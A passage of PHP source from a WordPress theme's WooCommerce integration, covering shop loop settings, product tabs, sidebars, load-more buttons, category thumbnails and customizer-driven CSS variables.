		wc_set_loop_prop( 'product_loop_icon_position', get_theme_mod( 'penci_woocommerce_product_icon_hover_position', 'top-left' ) );
		wc_set_loop_prop( 'product_loop_icon_animation', get_theme_mod( 'penci_woocommerce_product_icon_hover_animation', 'move-right' ) );
		wc_set_loop_prop( 'product_round_style', penci_shop_product_round_style( get_theme_mod( 'penci_woocommerce_product_icon_hover_style', 'round' ), get_theme_mod( 'penci_woocommerce_product_icon_hover_position', 'top-left' ) ) );


		if ( 'list' === penci_get_shop_view() ) {
			wc_set_loop_prop( 'columns', 1 );
		}
	}

	add_action( 'woocommerce_before_shop_loop', 'penci_wc_main_loop_prop', 10 );
	add_action( 'wp', 'penci_wc_main_loop_prop', 10 );
}

if ( ! function_exists( 'penci_woocommerce_pre_get_posts' ) ) {
	function penci_woocommerce_pre_get_posts( $query ) {

		if ( ! is_admin() && is_post_type_archive( 'product' ) && $query->is_main_query() ) {
			$query->set( 'posts_per_page', (int) penci_woo_get_products_per_page() );
		}
	}

	add_action( 'pre_get_posts', 'penci_woocommerce_pre_get_posts', 20 );
}

if ( ! function_exists( 'penci_woocommerce_get_product_loop_class' ) ) {
	function penci_woocommerce_get_product_loop_class() {
		$classes               = array();
		$product_display_style = wc_get_loop_prop( 'products_view', penci_get_shop_view() );
		$product_style         = wc_get_loop_prop( 'product_loop_style', get_theme_mod( 'penci_woocommerce_product_style', 'style-1' ) );
		$product_style         = $product_style ? $product_style : get_theme_mod( 'penci_woocommerce_product_style', 'style-1' );
		$product_loop_name     = wc_get_loop_prop( 'name' );

		$product_loop_icon_style     = wc_get_loop_prop( 'product_loop_icon_style' );
		$product_loop_icon_style     = $product_loop_icon_style ? $product_loop_icon_style : get_theme_mod( 'penci_woocommerce_product_icon_hover_style', 'round' );
		$product_loop_icon_position  = wc_get_loop_prop( 'product_loop_icon_position' );
		$product_loop_icon_position  = $product_loop_icon_position ? $product_loop_icon_position : get_theme_mod( 'penci_woocommerce_product_icon_hover_position', 'top-left' );
		$product_loop_icon_animation = wc_get_loop_prop( 'product_loop_icon_animation' );
		$product_loop_icon_animation = $product_loop_icon_animation ? $product_loop_icon_animation : get_theme_mod( 'penci_woocommerce_product_icon_hover_animation', 'move-right' );
		$product_loop_icon_alignment = penci_shop_product_round_style( $product_loop_icon_style, $product_loop_icon_position );


		$product_loop_name     = penci_is_mobile() ? 'mobile' : $product_loop_name;
		$default_product_style = get_theme_mod( 'penci_woocommerce_product_style', 'style-1' );
		$product_style         = 'list' == $product_display_style ? 'list' : $product_style;
		$product_style         = in_array( $product_loop_name, array(
			'up-sells',
			'cross-sells',
			'related',
			'wishlist',
		) ) ? $default_product_style : $product_style;

		$product_style = 'custom' == $product_loop_name && 'list' == $product_display_style ? $product_display_style : $product_style;

		$classes[] = 'standard' != $product_style ? 'penci-quickshop-support' : '';
		$classes[] = 'product-' . $product_style;


		$classes[] = 'icon-style-' . $product_loop_icon_style;
		$classes[] = 'icon-position-' . $product_loop_icon_position;
		$classes[] = 'icon-animation-' . $product_loop_icon_animation;
		$classes[] = 'icon-align-' . $product_loop_icon_alignment;


		return implode( ' ', $classes );
	}
}

if ( ! function_exists( 'penci_get_pages_option' ) ) {
	function penci_get_pages_option() {
		$pages    = array();
		$op_pages = get_pages();
		if ( $op_pages ) {
			foreach ( $op_pages as $page ) {
				$pages[ $page->ID ] = $page->post_title;
			}
		}

		return $pages;
	}
}

if ( ! function_exists( 'penci_sticky_cart' ) ) {
	add_action( 'woocommerce_after_single_product', 'penci_sticky_cart' );
	function penci_sticky_cart() {

		$custom_product_settings = get_post_meta( get_the_ID(), 'penci_pmeta_product_general', true );
		$penci_single_sticky_atc = isset( $custom_product_settings['penci_single_sticky_atc'] ) && $custom_product_settings['penci_single_sticky_atc'] ? $custom_product_settings['penci_single_sticky_atc'] : get_theme_mod( 'pencidesign_woo_single_sticky_add_to_cart', 'disable' );

		if ( 'disable' != $penci_single_sticky_atc ) {
			wc_get_template_part( 'single-product/sticky-cart' );
		}
	}
}

if ( ! function_exists( 'penci_single_product_tab' ) ) {
	add_filter( 'woocommerce_product_tabs', 'penci_single_product_tab' );
	function penci_single_product_tab( $tabs ) {
		global $product;
		$tab_content = get_post_meta( get_the_ID(), 'penci_pmeta_product_custom_tab', true );
		$title       = isset( $tab_content['tab_title'] ) ? $tab_content['tab_title'] : '';
		$priority    = isset( $tab_content['tab_priority'] ) && $tab_content['tab_priority'] ? $tab_content['tab_priority'] : 50;
		$content     = isset( $tab_content['tab_content'] ) ? $tab_content['tab_content'] : '';
		if ( $title && $content ) {
			$tabs['penci_user_tab'] = array(
				'title'    => $title,
				'priority' => $priority,
				'callback' => 'penci_single_product_tab_content',
			);
		}

		return $tabs;
	}
}

if ( ! function_exists( 'penci_single_product_tab_content' ) ) {
	function penci_single_product_tab_content() {
		global $product;
		$tab_content    = get_post_meta( get_the_ID(), 'penci_pmeta_product_custom_tab', true );
		$hidden_heading = isset( $tab_content['tab_title_visible'] ) ? $tab_content['tab_title_visible'] : '';
		$title          = isset( $tab_content['tab_title'] ) ? $tab_content['tab_title'] : '';
		$content        = isset( $tab_content['tab_content'] ) ? $tab_content['tab_content'] : '';
		?>
        <div class="penci-custom-user-content post-entry">
			<?php if ( ! $hidden_heading ) : ?>
                <h2><?php echo esc_html( $title ); ?></h2>
			<?php endif; ?>
			<?php echo do_shortcode( wpautop( $content ) ); ?>
        </div>
		<?php
	}
}

/* Theme Mod Custom Tab */
if ( ! function_exists( 'penci_user_custom_product_tab' ) ) {
	if ( get_theme_mod( 'penci_woo_custom_tab', false ) ) {
		add_filter( 'woocommerce_product_tabs', 'penci_user_custom_product_tab' );
	}

	function penci_user_custom_product_tab( $tabs ) {
		$title    = get_theme_mod( 'penci_woo_custom_tab_title' );
		$priority = get_theme_mod( 'penci_woo_custom_tab_priority' );
		$content  = get_theme_mod( 'penci_woo_custom_tab_content' );
		if ( $title && $content ) {
			$tabs['penci_custom_tab'] = array(
				'title'    => $title,
				'priority' => $priority,
				'callback' => 'penci_user_custom_product_tab_content',
			);
		}

		return $tabs;
	}
}

if ( ! function_exists( 'penci_user_custom_product_tab_content' ) ) {
	function penci_user_custom_product_tab_content() {
		$title   = get_theme_mod( 'penci_woo_custom_tab_title' );
		$content = get_theme_mod( 'penci_woo_custom_tab_content' );
		?>
        <div class="penci-custom-user-content post-entry">
            <h2><?php echo esc_html( $title ); ?></h2>
			<?php echo do_shortcode( wpautop( $content ) ); ?>
        </div>
		<?php
	}
}

if ( ! function_exists( 'penci_single_product_custom_background' ) ) {
	add_action( 'soledad_theme/custom_css', 'penci_single_product_custom_background' );
	function penci_single_product_custom_background() {
		if ( is_singular( 'product' ) ) {
			$product_id         = get_the_ID();
			$product_custom_css = get_post_meta( $product_id, 'penci_pmeta_product_custom_css', true );
			if ( isset( $product_custom_css['product_custom_css'] ) && $product_custom_css['product_custom_css'] ) {
				echo $product_custom_css['product_custom_css'];
			}
			$product_background = get_post_meta( $product_id, 'penci_pmeta_product_background', true );
			$css_product_wapper = '';

			if ( isset( $product_background['product_wrap_bgcolor'] ) && $product_background['product_wrap_bgcolor'] ) {
				$css_product_wapper .= 'background-color:' . esc_attr( $product_background['product_wrap_bgcolor'] ) . ' !important;';
			}
			if ( isset( $product_background['product_wrap_bgimg'] ) && $product_background['product_wrap_bgimg'] ) {
				$bgimg              = wp_get_attachment_url( $product_background['product_wrap_bgimg'] );
				$css_product_wapper .= 'background-image: url(' . esc_url( $bgimg ) . ') !important;';
			}
			if ( isset( $product_background['product_wrap_bg_pos'] ) && $product_background['product_wrap_bg_pos'] ) {
				$css_product_wapper .= 'background-position:' . esc_attr( str_replace( '_', ' ', $product_background['product_wrap_bg_pos'] ) ) . ' !important;';
			}
			if ( isset( $product_background['product_wrap_bg_size'] ) && $product_background['product_wrap_bg_size'] ) {
				$css_product_wapper .= 'background-size:' . esc_attr( $product_background['product_wrap_bg_size'] ) . ' !important;';
			}
			if ( isset( $product_background['product_wrap_bg_repeat'] ) && $product_background['product_wrap_bg_repeat'] ) {
				$css_product_wapper .= 'background-repeat:' . esc_attr( $product_background['product_wrap_bg_repeat'] ) . ' !important;';
			}

			if ( $css_product_wapper ) {
				echo '#product-' . $product_id . ' .penci-single-product-top-container{' . $css_product_wapper . '}';
			}
		}
	}
}

if ( ! function_exists( 'penci_get_single_product_meta' ) ) {
	function penci_get_single_product_meta( $id, $group, $key, $default = null ) {
		$return       = $default;
		$product_id   = $id ? $id : get_the_ID();
		$product_meta = get_post_meta( $product_id, 'penci_pmeta_' . $group, true );
		if ( isset( $product_meta[ $key ] ) && $product_meta[ $key ] ) {
			$return = $product_meta[ $key ];
		}

		return $return;
	}
}

/**
 * Unhook the WooCommerce wrappers and add new Woocommerce wrappers
 *
 * @since 2.2
 */
remove_action( 'woocommerce_before_main_content', 'woocommerce_output_content_wrapper', 10 );
remove_action( 'woocommerce_after_main_content', 'woocommerce_output_content_wrapper_end', 10 );

if ( ! function_exists( 'penci_woocommerce_custom_wrapper_start' ) ) {
	add_action( 'woocommerce_before_main_content', 'penci_woocommerce_custom_wrapper_start', 10 );
	function penci_woocommerce_custom_wrapper_start() {
		$sidebar_class      = '';
		$right_sidebar      = '';
		$container_class    = 'no-container';
		$penci_woo_class    = array();
		$sidebar_enable     = get_theme_mod( 'penci_woo_shop_enable_sidebar', false );
		$sidebar_cat_enable = get_theme_mod( 'penci_woo_cat_enable_sidebar', false );
		$left_sidebar       = get_theme_mod( 'penci_woo_left_sidebar', false );
		$right_sidebar      = $left_sidebar ? ' left-sidebar' : ' right-sidebar';
		$single_sidebar     = penci_woo_is_activate_sidebar();


		if ( is_shop() && $sidebar_enable ) {
			$sidebar_class = ' penci_sidebar';
		}

		if ( ( is_product_category() || is_product_tag() || penci_is_product_attribute_archive() ) && $sidebar_cat_enable ) {
			$sidebar_class = ' penci_sidebar';
		}

		if ( is_singular( 'product' ) && $single_sidebar ) {
			$sidebar_class = ' penci_sidebar';
			$right_sidebar = 'left' == $single_sidebar ? ' left-sidebar' : ' right-sidebar';
		}

		if ( ! is_singular( 'product' ) ) {
			$container_class = 'container';
		}

		if ( is_singular( 'product' ) ) {
			$penci_woo_class[] = 'sidebar-placement-' . penci_woo_sidebar_placement();
		}

		$penci_woo_class[] = get_theme_mod( 'penci_shop_product_pagination', 'pagination' );
		$penci_woo_class   = apply_filters( 'penci_woo_shop_class', $penci_woo_class );
		$penci_woo_class   = implode( ' ', $penci_woo_class );

		echo '<div class="' . $penci_woo_class . ' ' . $container_class . ' penci-woo-page-container' . $sidebar_class . $right_sidebar . '"><div id="main"><div class="theiaStickySidebar">';

		if ( is_singular( 'product' ) ) {
			do_action( 'penci_woo_before_single_product' );
		}
	}
}

if ( ! function_exists( 'penci_woocommerce_custom_wrapper_end' ) ) {
	add_action( 'woocommerce_after_main_content', 'penci_woocommerce_custom_wrapper_end', 10 );
	function penci_woocommerce_custom_wrapper_end() {
		echo '</div>';
		if ( penci_is_shop_archive() ) {
			wc_get_template_part( 'global/mobile-filter' );
		}
		echo '</div><!--end main-->';
	}
}

/**
 * Hook to change products per page in shop page & categories page
 *
 * @since 2.2
 */
if ( ! function_exists( 'penci_custom_products_per_page' ) ) {
	function penci_custom_products_per_page( $options = 24 ) {
		if ( get_theme_mod( 'penci_woo_post_per_page' ) ) {
			$options = absint( get_theme_mod( 'penci_woo_post_per_page' ) );
		}

		return $options;
	}

	add_filter( 'loop_shop_per_page', 'penci_custom_products_per_page', 10, 1 );
}

/**
 * WooCommerce Unhook sidebar
 *
 * @since 2.2
 */
remove_action( 'woocommerce_sidebar', 'woocommerce_get_sidebar', 10 );

if ( ! function_exists( 'penci_woocommerce_add_sidebar_custom' ) && function_exists( 'is_shop' ) && function_exists( 'is_product_category' ) && function_exists( 'is_product_tag' ) && function_exists( 'is_product' ) ) {
	function penci_woocommerce_add_sidebar_custom() {
		if ( ( is_shop() && get_theme_mod( 'penci_woo_shop_enable_sidebar', false ) ) || ( ( is_product_category() || is_product_tag() || penci_is_product_attribute_archive() ) && get_theme_mod( 'penci_woo_cat_enable_sidebar', false ) ) || ( is_singular( 'product' ) && get_theme_mod( 'penci_woo_single_enable_sidebar', false ) ) ) :
			add_action( 'woocommerce_sidebar', 'woocommerce_get_sidebar', 10 );
		endif;
	}

	add_action( 'template_redirect', 'penci_woocommerce_add_sidebar_custom' );
}

if ( ! function_exists( 'penci_woo_is_activate_sidebar' ) ) {
	function penci_woo_is_activate_sidebar() {

		$sidebar_positon = 'right';
		if ( get_theme_mod( 'penci_woo_left_sidebar', false ) ) {
			$sidebar_positon = 'left';
		}
		$sidebar_enable         = get_theme_mod( 'penci_woo_single_enable_sidebar', false );
		$sidebar_positon        = $sidebar_enable ? $sidebar_positon : '';
		$single_sidebar_positon = penci_get_single_product_meta( get_the_ID(), 'product_sidebar', 'sidebar_position', $sidebar_positon );

		if ( $sidebar_enable || 'disable' != $single_sidebar_positon ) {
			return $single_sidebar_positon;
		} else {
			return false;
		}

	}
}

if ( ! function_exists( 'penci_woo_sidebar_placement' ) ) {
	function penci_woo_sidebar_placement() {
		if ( is_singular( 'product' ) ) {
			$sidebar_placement = penci_get_single_product_meta( get_the_ID(), 'product_sidebar', 'sidebar_placement', get_theme_mod( 'penci_woo_single_sidebar_style', 'bottom' ) );
			$sidebar_placement = penci_woo_is_activate_sidebar() ? $sidebar_placement : 'no-active-sidebar';

			return $sidebar_placement;
		}
	}
}

if ( ! function_exists( 'penci_single_product_custom_options' ) ) {
	add_action( 'woocommerce_before_single_product', 'penci_single_product_custom_options' );
	function penci_single_product_custom_options() {

		$quickview = wc_get_loop_prop( 'quickview', false );

		if ( penci_get_single_product_meta( get_the_ID(), 'product_extra_options', 'hide_related_products' ) ) {
			remove_action( 'woocommerce_after_single_product_summary', 'woocommerce_output_related_products', 20 );
		}

		$product_style = penci_get_single_product_meta( get_the_ID(), 'product_general', 'penci_single_product_style', get_theme_mod( 'penci_single_product_style' ) );

		if ( 'accordion-content' == $product_style && ! $quickview ) {
			remove_action( 'woocommerce_after_single_product_summary', 'woocommerce_output_product_data_tabs', 10 );
			add_action( 'woocommerce_single_product_summary', 'woocommerce_output_product_data_tabs', 35 );
		}

		if ( penci_woo_is_activate_sidebar() ) {
			remove_action( 'woocommerce_sidebar', 'woocommerce_get_sidebar', 10 );
			add_action( 'penci_single_product_sidebar', 'woocommerce_get_sidebar', 10 );
		}

	}
}

if ( ! function_exists( 'penci_woo_sidebar_content' ) ) {
	function penci_woo_sidebar_content() {
		if ( penci_woo_is_activate_sidebar() && function_exists( 'woocommerce_get_sidebar' ) ) {
			woocommerce_get_sidebar();
		}
	}
}

if ( ! function_exists( 'penci_woo_infinit_load_button' ) ) {
	add_action( 'woocommerce_after_shop_loop', 'penci_woo_infinit_load_button', 5 );
	function penci_woo_infinit_load_button( $shortcode = '', $page = null ) {
		global $wp_query;
		$pages       = $shortcode ? $page : $wp_query->max_num_pages;
		$load_option = $shortcode ? $shortcode : get_theme_mod( 'penci_shop_product_pagination', 'pagination' );
		if ( 'pagination' != $load_option ) {
			?>
            <div class="page-load-status">
                <div class="loader-ellips infinite-scroll-request">
                    <span class="loader-ellips__dot"></span>
                    <span class="loader-ellips__dot"></span>
                    <span class="loader-ellips__dot"></span>
                    <span class="loader-ellips__dot"></span>
                </div>
				<?php if ( 'infinit' == $load_option ) : ?>
                    <div class="infinite-scroll-request">
                        <div class="page-load-button penci-pagination penci-ajax-more">
                            <a class="penci-ajax-more-button view-more-button button loading-posts" href="#">
                                <span class="ajax-more-text"><?php echo penci_woo_translate_text( 'penci_woo_trans_loading' ); ?></span>
                                <span class="ajaxdot"></span>
                                <i class="penci-faicon fa fa-refresh"></i>
                            </a>
                        </div>
                    </div>
				<?php endif; ?>
            </div>
			<?php
		}
		if ( 'loadmore' == $load_option && $pages > 1 ) {
			?>
            <div class="page-load-button penci-pagination penci-ajax-more">
                <a class="penci-ajax-more-button view-more-button button" href="#">
                    <span class="ajax-more-text"><?php echo penci_woo_translate_text( 'penci_woo_trans_vmproduct' ); ?></span>
                    <span class="ajaxdot"></span>
                    <i class="penci-faicon fa fa-refresh"></i>
                </a>
            </div>
			<?php
		}
	}
}
if ( ! function_exists( 'penci_template_loop_category_title' ) ) {
	remove_action( 'woocommerce_shop_loop_subcategory_title', 'woocommerce_template_loop_category_title', 10 );
	add_action( 'woocommerce_shop_loop_subcategory_title', 'penci_template_loop_category_title', 10 );
	function penci_template_loop_category_title( $category ) {
		?>
        <div class="woocommerce-loop-category__wrapper">
            <h2 class="woocommerce-loop-category__title">
				<?php
				echo esc_html( $category->name );
				?>
            </h2>
			<?php
			if ( $category->count > 0 ) {
				// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
				echo apply_filters( 'woocommerce_subcategory_count_html', ' <span class="count">' . esc_html( $category->count ) . ' ' . penci_woo_translate_text( 'penci_woo_trans_products' ) . '</span>', $category );
			}
			?>
        </div>
		<?php
	}
}

if ( ! function_exists( 'penci_subcategory_get_first_product_image' ) ) {
	function penci_subcategory_get_first_product_image( $category_id ) {
		$product_img_id    = '';
		$placeholder_image = get_option( 'woocommerce_placeholder_image', 0 );
		$arg               = array(
			'post_type'      => 'product',
			'posts_per_page' => 1,
			'tax_query'      => array(
				array(
					'taxonomy' => 'product_cat',
					'terms'    => $category_id,
				),
			),
			'meta_query'     => array(
				array(
					'key'     => '_thumbnail_id',
					'value'   => $placeholder_image,
					'compare' => '!=',
				),
			),
		);
		$product_img       = get_posts( $arg );
		if ( $product_img ) {
			$product_img_id = get_post_thumbnail_id( $product_img[0]->ID );
		}

		return $product_img_id;
	}
}

if ( ! function_exists( 'penci_subcategory_thumbnail' ) ) {
	remove_action( 'woocommerce_before_subcategory_title', 'woocommerce_subcategory_thumbnail', 10 );
	add_action( 'woocommerce_before_subcategory_title', 'penci_subcategory_thumbnail', 10 );
	function penci_subcategory_thumbnail( $category ) {
		$small_thumbnail_size = apply_filters( 'subcategory_archive_thumbnail_size', 'woocommerce_thumbnail' );
		$dimensions           = wc_get_image_size( $small_thumbnail_size );
		$thumbnail_id         = get_term_meta( $category->term_id, 'thumbnail_id', true );
		$thumbnail_id         = $thumbnail_id ? $thumbnail_id : penci_subcategory_get_first_product_image( $category->term_id );

		if ( $thumbnail_id ) {
			$image = wp_get_attachment_image_src( $thumbnail_id, $small_thumbnail_size );

			if ( isset( $image[0] ) && $image[0] ) {
				$image        = $image[0];
				$image_srcset = function_exists( 'wp_get_attachment_image_srcset' ) ? wp_get_attachment_image_srcset( $thumbnail_id, $small_thumbnail_size ) : false;
				$image_sizes  = function_exists( 'wp_get_attachment_image_sizes' ) ? wp_get_attachment_image_sizes( $thumbnail_id, $small_thumbnail_size ) : false;
			} else {
				$image        = wc_placeholder_img_src();
				$image_srcset = false;
				$image_sizes  = false;
			}
		}

		if ( $image ) {
			// Prevent esc_url from breaking spaces in urls for image embeds.
			// Ref: https://core.trac.wordpress.org/ticket/23605.
			$image = str_replace( ' ', '%20', $image );

			// Add responsive image markup if available.
			if ( $image_srcset && $image_sizes ) {
				echo '<div class="product-category-img"><img src="' . esc_url( $image ) . '" alt="' . esc_attr( $category->name ) . '" width="' . esc_attr( $dimensions['width'] ) . '" height="' . esc_attr( $dimensions['height'] ) . '" srcset="' . esc_attr( $image_srcset ) . '" sizes="' . esc_attr( $image_sizes ) . '" /></div>';
			} else {
				echo '<div class="product-category-img"><img src="' . esc_url( $image ) . '" alt="' . esc_attr( $category->name ) . '" width="' . esc_attr( $dimensions['width'] ) . '" height="' . esc_attr( $dimensions['height'] ) . '" /></div>';
			}
		}
	}
}

if ( ! function_exists( 'penci_subcategory_extract_img' ) ) {
	function penci_subcategory_extract_img( $category ) {
		$small_thumbnail_size = apply_filters( 'subcategory_archive_thumbnail_size', 'woocommerce_thumbnail' );
		$dimensions           = wc_get_image_size( $small_thumbnail_size );
		$thumbnail_id         = get_term_meta( $category->term_id, 'thumbnail_id', true );
		$thumbnail_id         = $thumbnail_id ? $thumbnail_id : penci_subcategory_get_first_product_image( $category->term_id );

		return $thumbnail_id;
	}
}

add_filter( 'product_cat_class', 'penci_custom_product_cat_class' );
function penci_custom_product_cat_class( $classes ) {
	$style   = wc_get_loop_prop( 'cat-loop-style' );
	$index   = wc_get_loop_prop( 'loop' );
	$loop_by = wc_get_loop_prop( 'loop_by' );

	if ( $index && $loop_by ) {
		$loop_class = $index % $loop_by;
		$loop_class = $loop_class ? $loop_class : $loop_by;
		$classes[]  = 'penci-cat-item-' . $loop_class;
	}

	$classes[] = 'penci-product-cat-' . $style;

	return $classes;
}

if ( ! function_exists( 'penci_woocommerce_get_customizer_font' ) ) {
	function penci_woocommerce_get_customizer_font( $setting ) {
		$font_family_menu     = get_theme_mod( $setting );
		$font_family_menu_end = $font_family_menu;
		if ( ! array_key_exists( $font_family_menu, penci_font_browser() ) ) {
			$font_family_menu = str_replace( '"', '', $font_family_menu );
			$font_menu_explo  = explode( ', ', $font_family_menu );
			$font_menu        = isset( $font_menu_explo[0] ) ? $font_menu_explo[0] : '';
			$font_menu_serif  = isset( $font_menu_explo[2] ) ? $font_menu_explo[2] : '';
			$space_menu_end   = ', ';
			if ( empty( $font_menu_serif ) ) :
				$space_menu_end = '';
			endif;
			$font_family_menu_end = "'" . $font_menu . "'" . $space_menu_end . $font_menu_serif;
		}

		return $font_family_menu_end;
	}
}
if ( ! function_exists( 'penci_woo_customizer_custom_css_rules' ) ) {
	function penci_woo_customizer_custom_css_rules( $settings, $woocommerce_default_color = array(), $font_family_settings = array(), $defaut_font_size = array(), $echo = true ) {
		$return = array();
		$out    = '';
		foreach ( $settings as $prop => $value ) {
			$prop_value = get_theme_mod( $value );

			$customize_accent_color = get_theme_mod( 'penci_color_accent' );

			$body_fontsize = get_theme_mod( 'penci_font_for_size_body' );
			if ( in_array( $prop, $defaut_font_size ) && ! $prop_value && '14' != $body_fontsize ) {
				$prop_value = $body_fontsize;
			}

			if ( $font_family_settings && in_array( $value, $font_family_settings ) ) {
				$prop_value = penci_woocommerce_get_customizer_font( $value );
			}

			if ( $woocommerce_default_color && in_array( $value, $woocommerce_default_color ) ) {
				$prop_value = ( empty( $prop_value ) && $customize_accent_color ) ? $customize_accent_color : $prop_value;
			}

			// default int is font size
			$unit       = 'px';
			$unit       = 'penci_sidebar_width' == $value ? '%' : $unit;
			$prop_value = is_numeric( $prop_value ) && $prop_value > 0 ? $prop_value . $unit : $prop_value;

			if ( $prop_value ) {
				$return[] = $prop . ': ' . $prop_value;
			}
		}

		if ( ! empty( $return ) && isset( $return ) ) {
			$out = 'body{' . implode( ';', $return ) . '}';
		}

		if ( $echo ) {
			echo $out;
		} else {
			return $out;
		}
	}
}

if ( ! function_exists( 'penci_woo_customizer_custom_css_prop' ) ) {
	function penci_woo_customizer_custom_css_prop( $settings, $mobile = false ) {
		$out = $before = $after = '';
		foreach ( $settings as $prop => $rules ) {
			$value = get_theme_mod( $prop );
			if ( $value ) {
				foreach ( $rules as $rule => $selector ) {
					$extra = $rule == 'font-size' ? 'px' : '';
					$out   .= $selector . '{' . $rule . ':' . $value . $extra . '}';
				}
			}
		}

		if ( $mobile ) {
			$before = '@media only screen and (max-width:767px){';
			$after  = '}';
		}

		return $before . $out . $after;
	}
}

if ( ! function_exists( 'penci_woo_hex2rgb' ) ) {
	function penci_woo_hex2rgb( $color, $opacity = null ) {

		$out = '';

		list( $r, $g, $b ) = sscanf( $color, "#%02x%02x%02x" );

		if ( $opacity ) {
			$out = 'rgba(' . $r . ',' . $g . ',' . $b . ',' . $opacity . ')';
		}

		return $out;
	}
}

if ( ! function_exists( 'penci_woocommerce_custom_style' ) ) {
	add_action( 'soledad_theme/custom_css', 'penci_woocommerce_custom_style' );
	function penci_woocommerce_custom_style() {
		$product_customize_settings = array(
			'--pccat_tt_cl'                 => 'penci_woo_product_loop_title_color',
			'--pccat_price_cl'              => 'penci_woo_product_loop_price_color',
			'--pccat_cat_cl'                => 'penci_woo_product_loop_cat_color',
			'--pccat_cat_hv_cl'             => 'penci_woo_product_loop_cat_hover_color',
			'--pccat_btn_groups_bgcl'       => 'penci_woo_product_loop_button_groups_bgcolor',
			'--pccat_btn_cl'                => 'penci_woo_product_loop_button_color',
			'--pccat_progress_bg_cl'        => 'penci_woo_product_loop_progress_bg_color',
			'--pccat_progress_active_bg_cl' => 'penci_woo_product_loop_progress_active_bg_color',
			'--pccat_progress_height'       => 'penci_woo_product_loop_progress_height',
			'--pcpage_gtext_cl'             => 'penci_product_page_general_text_color',
			'--pcpage_glink_cl'             => 'penci_product_page_general_link_color',
			'--pcpage_glink_hv_cl'          => 'penci_product_page_general_link_hover_color',
			'--pcpage_gbdr_cl'              => 'penci_product_page_general_border_color',
			'--pcpage_btns_bdr_cl'          => 'penci_product_page_button_swatches_border_color',
			'--pcpage_btns_bdr_hv_cl'       => 'penci_product_page_button_swatches_border_hover_color',
			'--pcpage_btns_bg_cl'           => 'penci_product_page_button_swatches_bg_color',
			'--pcpage_btns_bg_hv_cl'        => 'penci_product_page_button_swatches_bg_hover_color',
			'--pcpage_btn_atc_bg_cl'        => 'penci_product_page_button_atc_bg_color',
			'--pcpage_btn_atc_bg_hv_cl'     => 'penci_product_page_button_atc_bg_hover_color',
			'--pcpage_meta_cl'              => 'penci_product_page_meta_color',
			'--pcpage_meta_link_cl'         => 'penci_product_page_meta_link_color',
			'--pcpage_meta_link_hv_cl'      => 'penci_product_page_meta_link_hover_color',
			'--pcpage_tab_tt_cl'            => 'penci_product_page_tab_title_color',
			'--pcpage_tab_tt_active_cl'     => 'penci_product_page_tab_title_active_color',
			'--pcwp_tt_cl'                  => 'penci_woo_page_title_color',
			'--pcwp_btn_bg_cl'              => 'penci_woo_page_button_bg_color',
			'--pcwp_btn_bg_hv_cl'           => 'penci_woo_page_button_bg_hover_color',
			'--pcwp_btn_alt_bg_cl'          => 'penci_woo_page_button_alt_bg_color',
			'--pcwp_btn_alt_bg_hv_cl'       => 'penci_woo_page_button_alt_bg_hover_color',
			'--pcsl_tt_fs'                  => 'pencidesign_woo_product_loop_title_font_size',
			'--pcsl_tt_m_fs'                => 'pencidesign_woo_product_loop_title_m_font_size',
			'--pcsl_tt_l_fs'                => 'pencidesign_woo_product_loop_list_title_font_size',
			'--pcsl_tt_l_m_fs'              => 'pencidesign_woo_product_loop_list_title_m_font_size',
			'--pcsl_meta_fs'                => 'pencidesign_woo_product_loop_meta_font_size',
			'--pcsl_meta_m_fs'              => 'pencidesign_woo_product_loop_meta_m_font_size',
			'--pcsl_price_fs'               => 'pencidesign_woo_product_loop_price_font_size',
			'--pcsl_price_m_fs'             => 'pencidesign_woo_product_loop_price_m_font_size',
			'--pcsl_btn_icon_size'          => 'pencidesign_woo_product_loop_button_icon_size',
			'--pcs_fsp_single_m_tt'         => 'pencidesign_woo_fontsize_product_single_m_title',
			'--pcs_fsp_single_tt'           => 'pencidesign_woo_fontsize_product_single_title',
			'--pcs_fsp_price'               => 'pencidesign_woo_fontsize_product_price',
			'--pcs_fsp_m_price'             => 'pencidesign_woo_fontsize_m_product_price',
			'--pcs_fsp_breadcrumb'          => 'pencidesign_woo_fontsize_product_breadcrumb',
			'--pcs_fsp_m_breadcrumb'        => 'pencidesign_woo_fontsize_m_product_breadcrumb',
			'--pcs_fsp_general'             => 'pencidesign_woo_fontsize_product_general',
			'--pcs_fsp_tab_tt'              => 'pencidesign_woo_fontsize_product_tab_title',
			'--pcs_fsp_tab_m_tt'            => 'pencidesign_woo_fontsize_product_tab_m_title',
			'--pcs_fsp_meta'                => 'pencidesign_woo_fontsize_product_meta',
			'--pcs_fsp_m_meta'              => 'pencidesign_woo_fontsize_m_product_meta',
			'--pcaccent-cl'                 => 'penci_color_accent',
			'--pclabel_hot'                 => 'penci_woo_label_hot_color',
			'--pclabel_new'                 => 'penci_woo_label_new_color',
			'--pclabel_sale'                => 'penci_woo_label_sale_color',
			'--pclabel_outstock'            => 'penci_woo_label_outstock_color',
			'--pclabel_size'                => 'pencidesign_woo_product_loop_label_size',
			'--pclabel_m_size'              => 'pencidesign_woo_product_loop_label_m_size',

			'--pcsl_tt_btn3_size'          => 'pencidesign_woo_product_loop_button_3_size',
			'--pcsl_tt_btn3_m_size'        => 'pencidesign_woo_product_loop_button_3_m_size',
			'--pcsl_tt_btn4_size'          => 'pencidesign_woo_product_loop_button_4_size',
			'--pcsl_tt_btn4_m_size'        => 'pencidesign_woo_product_loop_button_4_m_size',
			'--pcsl_tt_btn5_size'          => 'pencidesign_woo_product_loop_button_5_size',
			'--pcsl_tt_btn5_m_size'        => 'pencidesign_woo_product_loop_button_5_m_size',
			'--pcsl_tt_lb_size'            => 'pencidesign_woo_fontsize_product_label',
			'--pcsl_tt_lb_m_size'          => 'pencidesign_woo_fontsize_m_product_label',

			// overlay settings
			'--pcl_o_bg'                   => 'penci_woo_product_overlay_bg_color',
			'--pcl_o_opacity'              => 'penci_woo_product_overlay_opacity',
			'--pcl_o_tt_cl'                => 'penci_woo_product_overlay_title_color',
			'--pcl_o_l_cl'                 => 'penci_woo_product_overlay_link_color',
			'--pcl_o_lhv_cl'               => 'penci_woo_product_overlay_link_hover_color',
			'--pcl_o_btn_cl'               => 'penci_woo_product_overlay_button_color',

			// styl3
			'--pcl_3_atc_bg_cl'            => 'penci_woo_product_item_style3_atc_bg_color',
			'--pcl_3_atc_bg_hv_cl'         => 'penci_woo_product_item_style3_atc_bg_hover_color',
			'--pcl_3_atc_txt_cl'           => 'penci_woo_product_item_style3_atc_text_color',
			'--pcl_3_atc_txt_hv_cl'        => 'penci_woo_product_item_style3_atc_text_hover_color',

			// style6
			'--pcl_6_price_cl'             => 'penci_woo_product_item_style6_price_color',
